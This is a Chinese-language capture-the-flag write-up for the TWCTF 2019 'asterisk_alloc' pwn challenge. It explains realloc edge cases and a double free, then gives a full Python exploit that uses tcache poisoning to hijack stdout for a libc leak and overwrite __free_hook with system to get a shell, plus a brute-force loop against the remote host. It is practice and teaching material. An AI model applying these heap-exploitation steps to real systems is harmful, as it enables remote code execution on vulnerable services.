[BUUCTF] TWCTF_online_2019_asterisk_alloc


目录
  • TWCTF_online_2019_asterisk_alloc
    • 总结
    • 漏洞点
    • 利用思路
    • Exp
    • 引用与参考

TWCTF_online_2019_asterisk_alloc

总结

主要是针对realloc的利用,分析了一波源码,当调用realloc(ptr, new_size)时,利用点如下:

  • ptrNULL,则return malloc(new_size)
  • ptr != NULL && new_size == 0,则调用free(ptr);return NULL
  • new_size非法时,则return NULL
  • new_size < old_size - 0x20,则会chunk shrink
  • new_size > old_size,高地址处的chunktop则直接扩展;为可free状态的chunk,则先unlink,再判断要不要切割;否则直接申请新的内存,拷贝后释放老的

漏洞点

  1. call_free函数可以double free

    image-20211227230250032

  2. call_realloc可以利用realloc函数的缺陷进行利用:

    image-20211227230329253

利用思路

由于题目是libc-2.27.so,那么可以利用tcache poisoning,修改next指针,进行任意地址分配内存。题目中没有泄露内容的分支,因此需要劫持IO_2_1_stdout_先泄露地址,再劫持hook即可完成利用。

思路如下:

  • 利用realloc分配0xc0chunk A,而后shrink0x90
  • 利用double free释放8chunk A,这个时候在chunk Afd留下了libc地址
  • 利用realloc分配小chunk切割unsorted bin chunk,并且低2字节修改fd,使其指向stdout
  • 利用realloc(-1)ptr_r置为0
  • 利用tcache poisoning分配到stdout结构体泄露地址;用同样的方法修改__free_hooksystem函数地址

Exp

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
# author: lynne
from pwncli import *

cli_script()

io: tube = gift['io']
elf: ELF = gift['elf']
libc: ELF = gift['libc']

def ma(size, data="d"):
    io.sendlineafter("Your choice: ", "1")
    io.sendlineafter("Size: ", str(size))
    if size > 0:
        io.sendafter("Data: ", data)

def ca(size, data="d"):
    io.sendlineafter("Your choice: ", "2")
    io.sendlineafter("Size: ", str(size))
    if size > 0:
        io.sendafter("Data: ", data)

def rea(size, data="d"):
    io.sendlineafter("Your choice: ", "3")
    io.sendlineafter("Size: ", str(size))
    if size > 0:
        io.sendafter("Data: ", data)

def __dele(c):
    io.sendlineafter("Your choice: ", "4")
    io.sendlineafter("Which: ", c)


def dele_m():
    __dele('m')

def dele_c():
    __dele('c')

def dele_r():
    __dele('r')

"""
1. attack stdout to leak addr
2. attack hook
"""

rea(0xb0)
rea(0x80)

for i in range(0x7):
    dele_r()


rea(0) # clear

if gift.debug:
    libc_base = get_current_libcbase_addr()
    pl = p16_ex(libc_base + libc.sym['_IO_2_1_stdout_'])
else:
    pl = p16_ex(0xc760)


rea(0x10, pl)

rea(-1)

rea(0x80)


ma(0x80, flat(0xfbad1887, 0, 0, 0, "\x00"))

libc_base = recv_libc_addr(io) - 0x3ed8b0
log_libc_base_addr(libc_base)
libc.address = libc_base

dele_r()
rea(0)

rea(0x10, flat(libc.sym['__free_hook'] - 8))
rea(-1)

rea(0x10)
rea(-1)

rea(0x10, flat("/bin/sh\x00", libc.sym.system))

dele_r()

get_flag_when_get_shell(io)

io.interactive()

最后加个爆破脚本:

#!/bin/sh
for i in $(seq 1 10)
do
    ./exp.py re ./TWCTF_online_2019_asterisk_alloc -p 28619 --no-log
done

1/16的概率,远程打:

image-20211227231521381

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli